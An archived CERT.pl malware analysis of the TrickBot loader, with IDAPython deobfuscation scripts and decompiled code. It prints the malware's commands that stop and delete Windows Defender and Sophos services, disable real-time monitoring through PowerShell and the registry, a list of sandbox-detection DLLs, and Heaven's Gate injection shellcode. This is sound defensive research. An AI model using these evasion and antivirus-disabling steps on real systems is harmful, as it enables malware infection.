{
	"id": "0ed33922-9d37-4140-99f8-36474c35421f",
	"created_at": "2026-04-06T00:14:28.912245Z",
	"updated_at": "2026-04-10T13:12:53.657846Z",
	"deleted_at": null,
	"sha1_hash": "7f1696ed0340b3599c3a873fcdb57d54a5875b5a",
	"title": "Detricking TrickBot Loader",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 1312872,
	"plain_text": "Detricking TrickBot Loader\r\nArchived: 2026-04-05 13:56:25 UTC\r\nTrickBot (TrickLoader) is a modular financial malware that first surfaced in October in 20161. Almost\r\nimmediately researchers have noticed similarities with a credential-stealer called Dyre. It is still\r\nbelieved that those two families might’ve been developed by the same actor.\r\nBut in this article we will not focus on the core itself but rather the loader whose job is to decrypt the\r\npayload and execute it.\r\nSamples analyzed\r\npreloader b401a0c3a64c2e5a61070c2ae158d3fcf8ebbb51b33593323cd54bbe03d3de00\r\nloader 8d56f6816f24ec95524d6b434fc25f9aad24a27dbb67eab0106bbd7b4160dc75\r\ncore-32b cbb5ea4210665c6a3743e2b7c5a29d10af21efddfbab310035c9a14336c71de3\r\ncore-64b 028e29ef2543daa1729b6ac5bf0b2551dc9a4218a71a840972cdc50b23fe83c4\r\ncore-64b-loader 52bc216a6de00151f32be2b87412b6e13efa5ba6039731680440d756515d3cb9\r\nOriginal binary\r\nWhile the binary has two consecutive loaders, the first one will be glossed over because of low level of\r\ncomplexity:\r\nOriginal binary’s entry point, observed symbols were embedded in the binary\r\nFunctions buffer\r\nThe first thing we notice after loading the RC4-decrypted payload from the previous stage is that IDA\r\nhasn’t automatically recognized a single valid function.\r\nhttps://www.cert.pl/en/news/single/detricking-trickbot-loader/\r\nPage 1 of 18\n\nThe binary’s entry point\r\nThis section’s permissions are also looking quite suspicious, because section needs to be readable,\r\nexecutable and writable.\r\nFunction that starts just after the chunks lengths’ last entry (begins at 0x40108C), is responsible for\r\ncalculating the starting offset for each function (or binary chunk) and storing it into an array stored on\r\nstack.\r\nFunction used for calculating addresses\r\nThe functions’ objective is pretty straight-forward:\r\nhttps://www.cert.pl/en/news/single/detricking-trickbot-loader/\r\nPage 2 of 18\n\nIterate over the null-terminated chunks lengths array\r\nIf a length is larger than or equal to 0xFFF0, fetch the full length from a second buffer located\r\nfurther in the data (+0xCDFA in this sample)\r\nAdd the current function’s length to the accumulator\r\nPush the accumulator onto stack\r\nThe final array of pointers looks as follows (remember that since values are pushed onto stack, the\r\npointers are reversed relatively to their position in the lengths array):\r\nThe pointer to the array is stored in EBP register and passed between almost all functions in the future\r\nCode encryption\r\nThe previously mentioned code encryption is done using a standard repeating xor cipher:\r\n_BYTE *__usercall decrypt_function@\u003ceax\u003e(int a1@\u003cecx\u003e, int a2@\u003cebp\u003e, int a3@\u003cedx\u003e)\r\n{\r\n_DWORD *v3; // eax\r\n_BYTE *function_body; // edi\r\nint length; // ecx\r\nint *key; // esi\r\nsigned int i; // ebx\r\nint v8; // eax\r\n_BYTE *v10; // [esp-8h] [ebp-14h]\r\nv3 = (_DWORD *)(a2 - 4 * a1);\r\nfunction_body = (_BYTE *)*v3;\r\nlength = *(_DWORD *)(a2 - 4 * a1 - 4) - *v3;\r\nv10 = (_BYTE *)*v3;\r\nkey = (int *)(*(_DWORD *)(a2 + 4) + 0x1C8);\r\ni = 14; // key length\r\ndo\r\n{\r\nv8 = *key;\r\nkey = (int *)((char *)key + 1);\r\n*function_body++ ^= v8;\r\nif ( !--i )\r\n{\r\nhttps://www.cert.pl/en/news/single/detricking-trickbot-loader/\r\nPage 3 of 18\n\nkey = (int *)((char *)key - 14);\r\ni = 14; // cycle the key\r\n}\r\n--length;\r\n}\r\nwhile ( length );\r\nreturn v10;\r\n}\r\nThe xor key seems to be located around the base64-encoded strings:\r\nIn this sample, the key is equal to FE9A184E408139843FA99C45943D\r\nAll we really have to do is iterate over all functions, decrypt their body with xor and mark the\r\nfunctions.\r\n# chunks' lengths array\r\nlengths_addr = 0x0040100E\r\n# extra chunks' lengths array\r\nlong_lengths_addr = 0x0043DE08\r\n# recovered encryption key\r\nxor_key = 'FE9A184E408139843FA99C45943D'.decode('hex')\r\ndef dexor_region(addr, length, key):\r\nfor i in range(length):\r\nPatchByte(addr + i, Byte(addr + i) ^ ord(key[i % len(key)]))\r\ndef get_functions_offsets():\r\ni = 0\r\ncurrent_offset = lengths_addr\r\nwhile True:\r\nlast_length = Word(lengths_addr + i * 2)\r\ni += 1\r\nhttps://www.cert.pl/en/news/single/detricking-trickbot-loader/\r\nPage 4 of 18\n\n# we need to fetch the length from the second array\r\nif last_length \u003e= 0xfff0:\r\nsecond_offset = last_length - 0xfff0\r\nlast_length = Dword(long_lengths_addr + second_offset * 4)\r\nif not last_length:\r\nbreak\r\ncurrent_offset += last_length\r\n# retrun (addr, size)\r\nyield (current_offset, Word(lengths_addr + i * 2))\r\nfor addr, length in get_functions_offsets():\r\ndexor_region(addr, length, xor_key)\r\nWrapper function\r\nAs seen in previous screenshots, all function calls are performed using a function wrapper that:\r\nAccepts index of the function to execute\r\nGrabs the function’s address from the global table\r\nDecrypts the function code\r\nCalls the decrypted function\r\nEncrypts the function code back again\r\nExample function wrapper call\r\nDetricking\r\nIn order to simplify our analysis we’ll patch the binary and replace the wrapper calls with direct\r\nfunction calls.\r\nAlmost every wrapper call is exactly the same, which will be very helpful:\r\n6A XX push \u003cimm8\u003e\r\nE8 YY YY YY YY call \u003crel32\u003e\r\nXX is a single unsigned byte that determines the index of the wrapped function.\r\nYY YY YY YY is a 32-bit, relative, little-endian integer that marks the address of the wrapper\r\nfunction.\r\nOur plan is to patch the whole call blob to:\r\nhttps://www.cert.pl/en/news/single/detricking-trickbot-loader/\r\nPage 5 of 18\n\nE8 ZZ ZZ ZZ ZZ call \u003crel32\u003e\r\n90 nop\r\n90 nop\r\nwhere ZZ ZZ ZZ ZZ is the relative address of the wrapped function.\r\nTo do that, we’ll use an idapython script:\r\nimport struct\r\n# list of calculated functions offsets\r\noffsets = [0x40100E, 0x4010F5, 0x401340, 0x401400, 0x40143D, 0x401500, 0x4015B6,\r\n0x41EE8D, 0x41EF67, 0x41F010, 0x41F09F, 0x41F106, 0x41F20D, 0x41F3A6, 0x41F3E6,\r\n0x41F3FF, 0x41F466, 0x41F4B7, 0x41F505, 0x41F55E, 0x41F61D, 0x41F6C8, 0x41F906,\r\n0x41F975, 0x41FACF, 0x41FD05, 0x42037F, 0x4203BD, 0x4203DE, 0x42045E, 0x42049E,\r\n0x4204D7, 0x420510, 0x42052D, 0x4205AF, 0x420CBE, 0x420D40, 0x420EF7, 0x420F47,\r\n0x421030, 0x4210BD, 0x4211E8, 0x421208, 0x4219CD, 0x421A07, 0x421A5F, 0x421A96,\r\n0x421AB5, 0x421ACE, 0x421B1D, 0x43B788, 0x43B7CE, 0x43D6CE, 0x43D6E7,\r\n0x43D76F, 0x43D7C0, 0x43D800, 0x43D85F, 0x43D8E8, 0x43D98D, 0x43DA4D,\r\n0x43DC0D, 0x43DC48]\r\ndef PatchManyBytes(addr, data):\r\nfor i, c in enumerate(data):\r\nPatchByte(addr + i, ord(c))\r\n# interate through all function_wrapper calls\r\nfor x in XrefsTo(0x0040143D):\r\n# move back to push location\r\nnew_addr = x.frm - 2\r\nprint('Patching {addr}'.format(addr=hex(new_addr)))\r\n# get the whole blob\r\ndata = GetManyBytes(new_addr, 7)\r\n# make sure all calls match the format\r\nassert data[0] == '\\x6a'\r\nassert data[2] == '\\xe8'\r\n# get the function index\r\nindex = ord(data[1])\r\n# calculate the new address\r\noffset = offsets[index] - new_addr - 5\r\n# pack the new address into bytes\r\nfixed_addr = struct.pack(\"\u003ci\", offset)\r\nPatchManyBytes(new_addr, '\\xe8' + fixed_addr + '\\x90\\x90')\r\nBefore:\r\n.text:00420BBE 6A 40 push 40h\r\nhttps://www.cert.pl/en/news/single/detricking-trickbot-loader/\r\nPage 6 of 18\n\n.text:00420BC0 6A 00 push 0\r\n.text:00420BC2 6A 20 push 20h\r\n.text:00420BC4 6A 20 push 20h\r\n.text:00420BC6 E8 72 08 FE FF call near ptr some_function_wrapper\r\n.text:00420BCB 83 C4 0C add esp, 0Ch\r\nAfter:\r\n.text:00420BBE 6A 40 push 40h\r\n.text:00420BC0 6A 00 push 0\r\n.text:00420BC2 6A 20 push 20h\r\n.text:00420BC4 E8 47 F9 FF FF call VirtualAlloc_wrap\r\n.text:00420BC9 90 nop\r\n.text:00420BCA 90 nop\r\n.text:00420BCB 83 C4 0C add esp, 0Ch\r\nImports\r\nAll imports are loaded into a static location in memory using a hash lookup:\r\nFunction used to calculate strings hash\r\nC decompilation:\r\nint __stdcall hash(char *a1)\r\n{\r\nchar *v1; // edx\r\nint result; // eax\r\nchar v3; // cl\r\nv1 = a1;\r\nhttps://www.cert.pl/en/news/single/detricking-trickbot-loader/\r\nPage 7 of 18\n\nfor ( result = 0; ; result = v3 ^ __ROL4__(result, 7) )\r\n{\r\nv3 = *v1;\r\nif ( !*v1 )\r\nbreak;\r\n++v1;\r\n}\r\nreturn result;\r\n}\r\nFunction hash list\r\nDetricking\r\nWe can find the correct API function table using different methods but we are going to focus on doing\r\nit manually by looking for the correct function name.\r\nStart off by rewriting the hash function to Python:\r\ndef _rol(val, bits, bit_size):\r\nreturn (val \u003c\u003c bits % bit_size) \u0026 (2 ** bit_size - 1) | \\\r\n((val \u0026 (2 ** bit_size - 1)) \u003e\u003e (bit_size - (bits % bit_size)))\r\n__ROL4__ = lambda val, bits: _rol(val, bits, 32)\r\ndef hash(name):\r\nreturn reduce(lambda x,y: y ^ __ROL4__(x, 7), map(ord, name), 0)\r\nWe’ll also need a list of functions exported by windows DLLs. We’ve found that scraping\r\nhttp://www.win7dll.info/ actually works pretty well for that purpose.\r\nNow we need to iterate over all hashes and find a correct function name for each one:\r\n('0x95902b19', 'ExitProcess')\r\n('0x3d9972f5', 'Sleep')\r\n('0x69260152', 'GetTickCount')\r\nhttps://www.cert.pl/en/news/single/detricking-trickbot-loader/\r\nPage 8 of 18\n\n('0x68807354', 'GetProcessHeap')\r\n('0xfb0731a', 'GetCommandLineW')\r\n('0x8fe061a', 'FindResourceW')\r\n('0x1a10bd8b', 'LoadResource')\r\n('0x46318ad1', 'CreateProcessW')\r\n('0xd89ad05', 'GetCurrentProcess')\r\n('0x3a35705f', 'VirtualFree')\r\n('0x86867f0e', 'SizeofResource')\r\n('0x407a1c7c', 'GetStartupInfoW')\r\n('0x1fc0eaee', 'GetProcAddress')\r\n('0x697a6afe', 'VirtualAlloc')\r\n('0xc8ac8026', 'LoadLibraryA')\r\n('0x1510bd8a', 'LockResource')\r\n('0xa9de6f5a', 'VirtualProtect')\r\n('0x723eb0d5', 'CloseHandle')\r\n('0x74b624be', 'GetNativeSystemInfo')\r\n('0x375ef11f', 'Wow64DisableWow64FsRedirection')\r\n('0x3fa5492e', 'Wow64RevertWow64FsRedirection')\r\n('0x2ee4f11b', 'CopyFileW')\r\n('0x774393fe', 'GetModuleFileNameW')\r\n('0x515be741', 'lstrcmpiW')\r\n('0x2ca5f370', 'lstrcpyW')\r\n('0x2ca1b5f0', 'lstrcatW')\r\n('0x2d40b8f0', 'lstrlenW')\r\n('0xa073561', 'CreateDirectoryW')\r\n('0xa48d6774', 'GetModuleHandleW')\r\n('0x3def91ac', 'GetComputerNameW')\r\n('0x78b00c68', 'GetWindowsDirectoryW')\r\n('0x8054817d', 'GetTickCount64')\r\n('0x49a1375c', 'GetSystemDirectoryW')\r\n('0x8f8f102', 'CreateFileW')\r\n('0xf3fd1c3', 'WriteFile')\r\n('0x9c480e32', 'GetVersionExW')\r\n('0x475587a1', 'GetFileAttributesW')\r\n('0x20e4e9fb', 'MoveFileW')\r\n('0x81f0f0c9', 'DeleteFileW')\r\n('0x9e6fa842', 'TerminateProcess')\r\n('0xfbc6485b', 'Process32FirstW')\r\n('0x98750f33', 'Process32NextW')\r\n('0x5bc1d14f', 'CreateToolhelp32Snapshot')\r\nhttps://www.cert.pl/en/news/single/detricking-trickbot-loader/\r\nPage 9 of 18\n\n('0x99a4299d', 'OpenProcess')\r\n('0x1', 'unknown_1')\r\n('0xdf91e0a8', 'CommandLineToArgvW')\r\n('0xdeaa9557', 'SHGetFolderPathW')\r\n('0x570bc88f', 'ShellExecuteW')\r\n('0x2', 'unknown_2')\r\n('0xa638da59', 'NtQueryInformationProcess')\r\n('0x9016cd2b', 'RtlAllocateHeap')\r\n('0xa0d425d2', 'RtlReAllocateHeap')\r\n('0x3594af64', 'RtlFreeHeap')\r\n('0x3287ec73', 'RtlInitUnicodeString')\r\n('0xb81e8f04', 'RtlEnterCriticalSection')\r\n('0x728da026', 'RtlLeaveCriticalSection')\r\n('0xcd0b9be8', 'NtQueryInformationToken')\r\n('0xbf639c5e', 'LdrEnumerateLoadedModules')\r\n('0x952a9e4', 'NtAllocateVirtualMemory')\r\n('0x65e1', 'unknown_65e1')\r\n('0x3', 'unknown_3')\r\n('0x45b615c3', 'PathCombineW')\r\n('0x4', 'unknown_4')\r\n('0xaad67fee', 'RegOpenKeyExW')\r\n('0x1802e7de', 'RegQueryValueExW')\r\n('0xdb355534', 'RegCloseKey')\r\n('0xb9d41c39', 'GetUserNameW')\r\n('0x5cb5ef72', 'FreeSid')\r\n('0x1b3d12af', 'LookupPrivilegeValueW')\r\n('0x7a2167dc', 'AdjustTokenPrivileges')\r\n('0x9f96fdbb', 'RevertToSelf')\r\n('0xcebd40a1', 'DuplicateTokenEx')\r\n('0x80dbbe07', 'OpenProcessToken')\r\n('0xd4ecc759', 'GetTokenInformation')\r\n('0x28e9e291', 'AllocateAndInitializeSid')\r\n('0x1d1f334a', 'EqualSid')\r\n('0x3e400fc0', 'RegSetValueExW')\r\n('0x78cec357', 'CloseServiceHandle')\r\n('0xa06e458a', 'OpenSCManagerW')\r\n('0x83969972', 'OpenServiceW')\r\n('0xf6c712f4', 'QueryServiceStatusEx')\r\n('0x90a097f0', 'RegCreateKeyExW')\r\n('0x5ffee3f1', 'ControlService')\r\nhttps://www.cert.pl/en/news/single/detricking-trickbot-loader/\r\nPage 10 of 18\n\n('0x1f', 'unknown_1f')\r\n('0xf341d5cf', 'CoInitialize')\r\n('0x381cf0db', 'IIDFromString')\r\n('0x59bcf1d5', 'CLSIDFromString')\r\n('0xea92b37d', 'CoGetObject')\r\nAll that’s left now is to create an IDA struct that contains the function names and set the global array to\r\nthe proper type:\r\nBefore\r\nAfter\r\nNow, it looks much better!\r\nString encoding\r\nAll strings are encoded using base64 with a custom alphabet, it’s explained pretty well in several blog\r\nposts already 23\r\nThe custom charset is a permutation of the default base64 charset, e.g.\r\nJTQ2czLo5NfrsUjZFSkgOlYRB6yKhva/uA83d4GiteMwn17xmIEVX+qP0W9DbHCp.\r\nhttps://www.cert.pl/en/news/single/detricking-trickbot-loader/\r\nPage 11 of 18\n\nFunction used to fetch a decrypted base64 string with a given index\r\nDetricking\r\nAfter de-wrapping the function calls, the assembly actually looks quite similar to the previous iteration\r\n(notice the nops that are result of our earlier patches):\r\n6A 1C push 1Ch\r\nE8 F1 F6 FF FF call get_string\r\n90 nop\r\n90 nop\r\nWhich means we can reuse some of our previous code. But instead of patching the call instructions to\r\nmov instructions, we’re just going to add comments in assembly to annotate the original string:\r\nimport string\r\nimport base64\r\n# list of null-terminated strings grabbed from the binary\r\nstrings =\r\n'hqA4KLmVs8WdKLm\\x00KiSdKLm76LIn\\x00hqAnvqzmykWdKLm\\x00BYSqBRTesV576LIn\\x00F3BX\\x00sF\\x00su\\x00hP63yL\r\n# our charset\r\nkey = 'JTQ2czLo5NfrsUjZFSkgOlYRB6yKhva/uA83d4GiteMwn17xmIEVX+qP0W9DbHCp'\r\n# standard base64 charset\r\nstd_b64 = \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\"\r\nhttps://www.cert.pl/en/news/single/detricking-trickbot-loader/\r\nPage 12 of 18\n\n# decode base64 with different charset\r\ndef custom_decode(data):\r\ntrans = data.translate(string.maketrans(key, std_b64))\r\nif len(trans)%4 != 0:\r\ntrans += '='*(4 - len(trans)%4)\r\nreturn base64.b64decode(trans)\r\n# there are 3 actual string wrappers which differ in the location of returned string\r\nfor addr in [0x0041F466, 0x004204D7, 0x004211E8]:\r\nfor x in XrefsTo(addr):\r\nnew_addr = x.frm - 2\r\nprint('String getter at {addr}'.format(addr=hex(new_addr)))\r\ndata = GetManyBytes(new_addr, 7)\r\nif data[0] == '\\x6a' and data[2] == '\\xe8':\r\nindex = ord(data[1]) - 1\r\ndecoded = custom_decode(strings[index])\r\nset_cmt(new_addr, decoded, False)\r\nOverview\r\nAfter applying all of the described anti-anti-analysis patches, we end up with a pretty decent-looking\r\nbinary.\r\nMain function:\r\nvoid __cdecl __noreturn main_thingy(int a1)\r\n{\r\nint v1; // [esp+0h] [ebp-C14h]\r\nchar v2; // [esp+144h] [ebp-AD0h]\r\nint v3; // [esp+808h] [ebp-40Ch]\r\nchar *v4; // [esp+80Ch] [ebp-408h]\r\nint v5; // [esp+810h] [ebp-404h]\r\nchar v6; // [esp+8B4h] [ebp-360h]\r\nint savedregs; // [esp+C14h] [ebp+0h]\r\nv5 = 0;\r\nv4 = 0;\r\ndword_43E958 = \u0026v2;\r\ndword_43E963[0] = \u0026v6;\r\nload_libraries(0x43E77C, \u0026function_hashes);\r\nmachine_64b = check_if_amd64_or_itanium();\r\nstartup_info = 0x44;\r\n(api.kernel32_GetStartupInfoW)(0x43E8CA);\r\nhttps://www.cert.pl/en/news/single/detricking-trickbot-loader/\r\nPage 13 of 18\n\nif ( check_shady_dlls() )\r\n{\r\n(api.kernel32_Sleep)(4000);\r\n}\r\nelse\r\n{\r\nkill_antimalware();\r\nv3 = 1; // fetch first binary\r\nif ( !checks() )\r\n{\r\nif ( machine_64b )\r\n++v3; // fetch second binary\r\nv1 = wrap_decompress(\u0026savedregs, v3, 0);\r\nv4 = RtlReAllocateHeap_wrap(v1 + 4096, 0);\r\nwrap_decompress(\u0026savedregs, v3, v4);\r\nif ( pe_parser(v4, v1, \u0026machine_64b) )\r\nexecute_payload(v4, v1);\r\n}\r\n}\r\n(api.kernel32_Sleep)(500);\r\n(api.kernel32_ExitProcess)(0);\r\n}\r\nAnti-debugging/sandbox checks\r\nDLL checks\r\nThe binary iterates over DLL names stored in strings and checks if any of them is present in the PEB\r\nInMemoryOrderModuleList linked list:\r\nsigned int check_dlls()\r\n{\r\nint v0; // eax\r\nint i; // [esp+0h] [ebp-Ch]\r\nint v3; // [esp+8h] [ebp-4h]\r\nv3 = 0;\r\nfor ( i = 10; i \u003c 21; ++i )\r\n{\r\nv0 = get_string(i);\r\nif ( find_module_in_peb(v0) )\r\nreturn 1;\r\n}\r\nreturn v3;\r\nhttps://www.cert.pl/en/news/single/detricking-trickbot-loader/\r\nPage 14 of 18\n\n}\r\nint __cdecl find_module_in_peb(int dll_name)\r\n{\r\nint v2; // [esp+0h] [ebp-10h]\r\nPEB *v3; // [esp+4h] [ebp-Ch]\r\nLIST_ENTRY *v4; // [esp+8h] [ebp-8h]\r\nLIST_ENTRY *v5; // [esp+Ch] [ebp-4h]\r\nv3 = NtCurrentPeb();\r\nif ( !v3 )\r\nreturn 0;\r\nv4 = \u0026v3-\u003eLdr-\u003eInMemoryOrderModuleList;\r\nv5 = v4-\u003eFlink;\r\nif ( v3-\u003eLdr == 0xFFFFFFEC )\r\nreturn 0;\r\nif ( v5 )\r\n{\r\nwhile ( v4 != v5 )\r\n{\r\nv2 = \u0026v5[-1];\r\nif ( v5 != 8 \u0026\u0026 strcmp(*(v2 + 48), dll_name) )\r\nreturn *(v2 + 24);\r\nv5 = v5-\u003eFlink;\r\n}\r\n}\r\nreturn 0;\r\n}\r\nDLLs checked:\r\npstorec.dll\r\nvmcheck.dll\r\ndbghelp.dll\r\nwpespy.dll\r\napi_log.dll\r\nSbieDll.dll\r\nSxIn.dll\r\ndir_watch.dll\r\nSf2.dll\r\ncmdvrt32.dll\r\nsnxhk.dll\r\nAntimalware services\r\nA series of checks is performed using QueryServiceStatusEx in order to detect any anti-malware\r\nservices currently running on the system. If a service is detected, the loader tries to disable it\r\naccordingly:\r\nWinDefend\r\ncmd.exe /c sc stop WinDefend\r\nhttps://www.cert.pl/en/news/single/detricking-trickbot-loader/\r\nPage 15 of 18\n\ncmd.exe /c sc delete WinDefend\r\nTerminateProcess MsMpEng.exe\r\nTerminateProcess MSASCuiL.exe\r\nTerminateProcess MSASCui.exe\r\ncmd.exe /c powershell Set-MpPreference -DisableRealtimeMonitoring $true\r\nRegSetValue SOFTWARE\\Policies\\Microsoft\\Windows Defender DisableAntiSpyware\r\nRegSetValue SOFTWARE\\Microsoft\\Windows Defender Security Center\\Notifications\r\nDisableNotifications\r\nMBAMService\r\nControlService MBAMService SERVICE_CONTROL_STOP\r\nSAVService\r\nTerminateProcess SavService.exe\r\nTerminateProcess ALMon.exe\r\ncmd.exe /c sc stop SAVService\r\ncmd.exe /c sc delete SAVService\r\nChecks IEFO4. key for\r\n‘MBAMService’,’SAVService’,’SavService.exe’,’ALMon.exe’,’SophosFS.exe’,’ALsvc.exe’,’Clean.exe’,’SAVAdminService\r\nand sets Debugger registry key to kjkghuguffykjhkj if a match is found\r\nLoading binary\r\nThe binaries embedded in the loader are encrypted using the same xor cipher method as the functions,\r\nhowever they are also compressed using MiniLZO 2.\r\nThe methods of executing the payload differ for 32 and 64-bit binaries. While the former is pretty\r\nstraight-forward, the latter integrated a more sophisticated code injection technique.\r\nFirstly, a new suspended process is created (in this sample with process name equal to “svchost”), then\r\nthe execution transfers to a dynamically-generated shellcode that performs a switch from 32-bit\r\ncompatibility mode to 64-bit using a trick called Heaven’s Gate5.\r\nFinally, the shellcode performs a call to the decrypted 64-bit helper shellcode which then finally jumps\r\nto the 64-bit core.\r\n*shellcode = 0x83E58955;\r\n*\u0026shellcode[4] = 0x9AF0E4;\r\n*\u0026shellcode[8] = 0x33000000;\r\n*\u0026shellcode[12] = 0x5DEC8900;\r\n*\u0026shellcode[16] = 0xEC8348C3;\r\n*\u0026shellcode[20] = 0xE820;\r\n*\u0026shellcode[24] = 0x83480000;\r\n*\u0026shellcode[28] = 0xCB20C4;\r\nv28 = VirtualAlloc_wrap(32, 0, 64);\r\nif ( !v28 )\r\nreturn v18;\r\nqmemcpy(v28, shellcode, 0x80u);\r\n*(v28 + 7) = v28 + 17; // patch first call\r\n*(v28 + 22) = *(v13 + 10) + v22 - (v28 + 26);// patch second call\r\nif ( !create_suspended_process(\u0026hprocess, \u0026hthread) )\r\nreturn v18;\r\nv5 = VirtualAlloc_wrap(32, 0, 64);\r\n*v5 = binary_data;\r\n*binary_data = 'ZM';\r\n*(v5 + 8) = header_size;\r\nhttps://www.cert.pl/en/news/single/detricking-trickbot-loader/\r\nPage 16 of 18\n\n*(v5 + 12) = 0;\r\n*(v5 + 16) = hprocess;\r\n*(v5 + 24) = hthread;\r\nv24 = (v28)(v5, 0, 0);\r\nif ( v24 )\r\nreturn v18;\r\n(api.kernel32_CloseHandle)(hprocess);\r\n(api.kernel32_CloseHandle)(hthread);\r\nv18 = 1;\r\nreturn v18;\r\nThe included shellcode deassembles to\r\n// 32 bit\r\n00000000 55 push ebp\r\n00000001 89e5 mov ebp,esp\r\n00000003 83e4f0 and esp,0xfffffff0\r\n00000006 9a000000003300 call 0x33:0x0 // gets patched to the 64 bit absolute address\r\n0000000d 89ec mov esp,ebp\r\n0000000f 5d pop ebp\r\n00000010 c3 ret\r\n// 64 bit\r\n00000011 4883ec20 sub rsp,0x20\r\n00000015 e800000000 call loc_0000001a // gets patched to core-64b-loader's entrypoint\r\n0000001a 4883c420 add rsp,0x20\r\n0000001e cb retf\r\nModules\r\nAs of today, TrickBot is distributing following modules:\r\ndomainDll32.dll\r\nbf50566d7631485a0eab73a9d029e87b096916dfbf07df4af2069fc6eb733183\r\nimportDll32.dll\r\nf9ebf40d1228fa240c64d86037f2080588ed67867610aa159b80a553bc55edd7\r\ninjectDll32.dll\r\na515f4f847e8d7b2eb46a855224c8f0e9906435546bb15785b6770f2143bc22a\r\nmailsearcher32.dll\r\n46706124d4c65111398296ea85b11c57abffbc903714b9f9f8618b80b49bb0f3\r\nnetworkDll32.dll\r\nc8c789296cc8219d27b32c78e595d3ad6ee1467d2f451f627ce96782a9ff0c5f\r\noutlookDll32.dll\r\n9a529b2b77c5c8128c4427066c28ca844ff8ebbd8c3b2da27b8ea129960f861b\r\npwgrab32.dll\r\nfe0f269a1b248c919c4e36db2d7efd3b9624b46f567edd408c2520ec7ba1c9e4\r\nshareDll32.dll\r\naf5ee15f47226687816fc4b61956d78b48f62c43480f14df5115d7e751c3d13d\r\nsqulDll32.dll\r\nb8b757c2a3e7ae5bb7d6da9a43877c951fb60dcb606cc925ab0f15cdf43d033b\r\nsysteminfo32.dll\r\ndff1c7cddd77b1c644c60e6998b3369720c6a54ce015e0044bbbb65d2db556d5\r\nhttps://www.cert.pl/en/news/single/detricking-trickbot-loader/\r\nPage 17 of 18\n\ntabDll32.dll\r\n479aa1fa9f1a9af29ed010dbe3b080359508be7055488f2af1d4b10850fe4efc\r\nwormDll32.dll\r\n627a9eb14ecc290fe7fb574200517848e0a992896be68ec459dd263b30c8ca48\r\nReferences\r\n1\r\n https://blog.malwarebytes.com/threat-analysis/2016/10/trick-bot-dyrezas-successor/\r\n1\r\n https://sysopfb.github.io/malware/2018/04/16/trickbot-uacme.html\r\n2\r\n https://blog.malwarebytes.com/threat-analysis/malware-threat-analysis/2018/11/whats-new-trickbot-deobfuscating-elements/\r\n4\r\n https://blog.malwarebytes.com/101/2015/12/an-introduction-to-image-file-execution-options/\r\n5\r\n http://rce.co/knockin-on-heavens-gate-dynamic-processor-mode-switching/\r\nSource: https://www.cert.pl/en/news/single/detricking-trickbot-loader/\r\nhttps://www.cert.pl/en/news/single/detricking-trickbot-loader/\r\nPage 18 of 18",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"ETDA",
		"Malpedia"
	],
	"origins": [
		"web"
	],
	"references": [
		"https://www.cert.pl/en/news/single/detricking-trickbot-loader/"
	],
	"report_names": [
		"detricking-trickbot-loader"
	],
	"threat_actors": [],
	"ts_created_at": 1775434468,
	"ts_updated_at": 1775826773,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/7f1696ed0340b3599c3a873fcdb57d54a5875b5a.pdf",
		"text": "https://archive.orkl.eu/7f1696ed0340b3599c3a873fcdb57d54a5875b5a.txt",
		"img": "https://archive.orkl.eu/7f1696ed0340b3599c3a873fcdb57d54a5875b5a.jpg"
	}
}